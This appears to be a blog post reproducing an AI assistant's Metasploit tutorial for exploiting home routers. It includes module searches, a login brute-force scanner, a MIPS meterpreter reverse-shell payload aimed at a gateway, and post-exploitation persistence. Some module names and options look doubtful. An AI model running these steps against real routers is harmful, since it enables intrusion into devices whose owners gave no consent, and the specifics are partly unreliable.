Metasploit Router Exploitation Models
Here are the most useful **Metasploit Framework** commands and workflows specifically for **router exploitation, auditing, and post-exploitation** in a white-hat context (your own router, lab setups like vulnerable VMs/firmware images, or authorized client routers). This builds on your Tenda router focus and intermediate level.
Metasploit has **hundreds of router-related modules** (exploits, auxiliaries, scanners), especially for common brands like Cisco, D-Link, Netgear, TP-Link, Linksys, and some Tenda/Huawei/ZTE. Tenda-specific exploits are rare in core Metasploit (more often in Routersploit or standalone PoCs for recent CVEs like stack overflows/command injection), but many generic router HTTP/command injection modules apply.
### Step 1: Start Metasploit & Basic Navigation
```bash
sudo msfconsole -q # -q for quiet (no banner)
```
Inside msfconsole:
- **Search for router modules** (best starting point):
```bash
search router
search type:exploit router
search type:auxiliary router
search http router # HTTP-based (most router vulns are web)
search cisco router
search tenda # (rare, but check for any new additions)
search cve:2025 # Recent router CVEs (2025–2026)
```
Common results you'll see:
- `exploit/linux/http/...` (many router RCEs)
- `auxiliary/scanner/http/...` (fingerprinting, dir listing)
- `exploit/multi/http/...` (brand-agnostic command injection)
- **Get info on a module**:
```bash
info exploit/linux/http/tplink_archer_a7_lan_rce # Example for TP-Link (adapt for similar)
```
- **Use a module**:
```bash
use exploit/linux/http/cisco_rv340_lan # Example Cisco RV series RCE
show options
show targets # Sometimes routers have specific firmware targets
```
### Step 2: Key Router Exploit Categories & Examples (2026-relevant)
Here are practical ones for home/SOHO routers (many target command injection, auth bypass, or buffer overflows via web interfaces):
1. **Generic HTTP Command Injection / RCE** (great for Tenda-like routers):
```bash
search type:exploit cmd injection router
# Examples you might find:
use exploit/linux/http/dlink_dir859_auth_bypass_cmd_exec
use exploit/linux/http/netgear_r7000_new_admin
use exploit/multi/http/struts_code_exec # If router runs old Java (rare but happens)
```
2. **Specific Brand Examples** (run `search [brand]`):
- Cisco: `exploit/linux/misc/cisco_ios_xe_rce` (big 2023–2025 ones still relevant)
- TP-Link: Look for `tplink_archer` or `tplink_tddp`
- Netgear/D-Link: Many `dlink_dir` / `netgear_rax`
- Generic SOHO: `exploit/linux/http/zyxel_router_cmd_injection` or similar
3. **Auxiliary Scanners for Routers** (safe recon, no exploit):
```bash
use auxiliary/scanner/http/router_login_scanner
set RHOSTS 192.168.0.1 # Your Tenda gateway
set USER_FILE /usr/share/wordlists/rockyou.txt # Or small list
set PASS_FILE /path/to/common_router_passwords.txt
run
```
- Or HTTP version/fingerprint:
```bash
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.0.1
run
```
4. **Post-Exploitation if you get a shell** (e.g., after successful exploit):
- If you land a basic shell → upgrade to Meterpreter:
```bash
sessions -u 1 # Upgrade session ID 1
```
- Router-specific post modules (rare but useful):
```bash
search type:post router
# Examples: credential dump from config, change DNS, etc.
use post/multi/manage/router_persistence # If available
```
### Step 3: Typical Router Exploitation Workflow in Metasploit
For your Tenda (or client router) — adapt based on nmap/nuclei findings:
1. Scan first (outside Metasploit or use auxiliary):
```bash
db_nmap -sV -sC 192.168.0.1
```
2. Search matching exploits:
```bash
search 192.168.0.1 # Uses DB if you scanned
```
3. Pick one → set options:
```bash
use [module_name]
set RHOSTS 192.168.0.1
set RPORT 80 # Or 443 if HTTPS
set TARGETURI /goform/whatever # From vuln description
set PAYLOAD linux/mips/meterpreter/reverse_tcp # Router arch often MIPS/ARM
set LHOST [your_kali_ip]
set LPORT 4444
show options
exploit # or run for auxiliaries
```
4. If successful → you get a session:
```bash
sessions -i 1
sysinfo # Confirm router OS/arch
getuid # Hopefully root/www-data
```
**Warning for Tenda**: Most recent Tenda vulns (e.g., 2025 stack overflows like CVE-2025-29384 on AC9, command injection on FH/AC series) are **not yet** in Metasploit core. Use Routersploit for those (as we covered earlier) or port PoCs manually. Metasploit shines for older/common brands or when you pivot from a compromised device.
### Step 4: Pro Tips for Router Work
- Update Metasploit daily: `sudo msfupdate` or `git pull` in /opt/metasploit-framework
- Use `search cve:2025 router` for fresh 2025–2026 router CVEs
- For demos: Exploit a vulnerable VM/firmware (download old Tenda firmware, emulate with QEMU)
- Always: `check` before `exploit` (if module supports it) to test without crashing
- Clean up: `exploit -j` (background), then `sessions -K` to kill all
Run this now in msfconsole and paste results:
```bash
search type:exploit router http
```
(or `search tenda` / `search command injection router`)
I'll help pick the best one for your Tenda setup or explain output. Want focus on a specific brand/vuln (e.g., "command injection modules")? Let's go deeper! 🔍
Comments
Post a Comment